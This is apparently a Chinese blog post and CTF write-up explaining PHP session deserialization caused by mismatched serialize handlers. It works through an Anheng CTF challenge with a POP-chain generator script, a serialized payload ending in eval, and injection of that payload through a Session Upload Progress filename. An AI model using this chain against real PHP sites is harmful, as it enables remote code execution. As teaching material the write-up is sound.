Session…
Session反序列化漏洞
关于session的配置项在php.ini中存在四处
session.save_path = "" 设置session存储路径
session.save_handler = "" 设定余户自定义存储函数
session.auto_start boolen 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string 定义序列化/反序列化的处理器名字,默认是php
关于
sesion_serialize_handler
session.serialize_handler 定义用来序列化/解序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 如果 PHP 编译时加入了 WDDX 支持,则只能用 WDDX。 自 PHP 5.5.4 起可以使用 php_serialize。 php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。 使用 php_serialize 避免脚本退出时,数字及特殊字符索引导致出错。 默认使用 php。
三种序列化处理器
php_binary: 存储格式-> 键名长度对应的ASCII字符+键名+经过serialize()序列化过的值
php: 存储格式-> 键名+竖线+经过serialize()序列化过的值
php_serialize(php>5.5.4): 存储格式-> 经过serialize()序列化过的值
$_SESSION['test] = 'idlefire'
对应结果如下
漏洞成因
PHP在存取$_SESSION
时,使用的的引擎不同.
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['test'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
执行完上文代码会在session
文件中写入序列化的值.
<?php
session_start();
class A {
public $a = 'aa';
function __wakeup() {
echo $this->a;
}
}
var_dump($_SESSION);
执行之后会打印xx
原因:序列化session时使用的是php_serialize
,而反序列化的时候采用的是php
.php
引擎会以|
作为分隔符,分为key和value.那么a:1:{s:5:"test2";s:30:"
作为键名,O:1:"A":1:{s:1:"a";s:2:"xx";}
作为键值被反序列化之后变成了A类并且执行了__weakup
方法.(利用点就在于默认使用php
引擎获取session).
借助安恒的一道CTF题加深印象. 看到部分关键代码. index.php
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>
我们可以看出这道题的关键就是foo3
类中eval
函数,其中关于__toString
调用是由于file_exits
函数判断时会把参数进行字符串转变,并且在index.php
中读取session的处理器是php
(这里我猜测当时题目的php环境session.serialize_handler
默认是php_serialize
).
接着就需要构造payload了.
payload.php
<?php
class foo3{
public $varr = 'phpinfo();';
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '123';
$this->obj = new foo3();
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2() ;
}
}
$foo = new foo1();
echo serialize($foo);
?>
生成payload
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:3:"123";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}
但是这里并没有可以对session
进行赋值的操作,根据phpinfo
中给的一个关键信息.
这里的session.upload_gress.enable
是on
,就可以使用Session Upload Progress进行文件上传,从而将session
写入.
关于Session Upload Progress的相关配置参数
session.upload_progress.enabled[=On/Off] : 是否启用上传进度报告(默认开启)
session.upload_progress.cleanup[=On/Off] : 是否在上传完成后及时删除进度数据(默认开启, 推荐开启).
session.upload_progress.prefix[=upload_progress_] : 进度数据将存储在_SESSION[session.upload_progress.prefix . _POST[session.upload_progress.name]]
session.upload_progress.name[=PHP_SESSION_UPLOAD_PROGRESS] : 如果_POST[session.upload_progress.name]没有被设置, 则不会报告进度.
session.upload_progress.freq[=1%] : 更新进度的频率(已经处理的字节数), 也支持百分比表示’%’.
session.upload_progress.min_freq[=1.0] : 更新进度的时间间隔(秒级)
总而言之,如果POST
一个名为<?php ini_get('session.upload_progress.name');?>
的变量,同时上传文件的话,可以将文件名写入到session
中.
session_upload_progress.php
<form action='index.php' method="post" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name");?>" value="idlefire"/>
<input type="file" name="file"/>
<input type="submit"/>
</form>
抓包之后修改文件名,注意需要转义并且在添加个|
.
|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:3:\"123\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:10:\"phpinfo();\";}}}
执行之后.
注:在本地配置环境时需要将session.upload_progress.enabled
设置为On
,把session.upload_progress.cleanup
设置为Off
(ง •_•)ง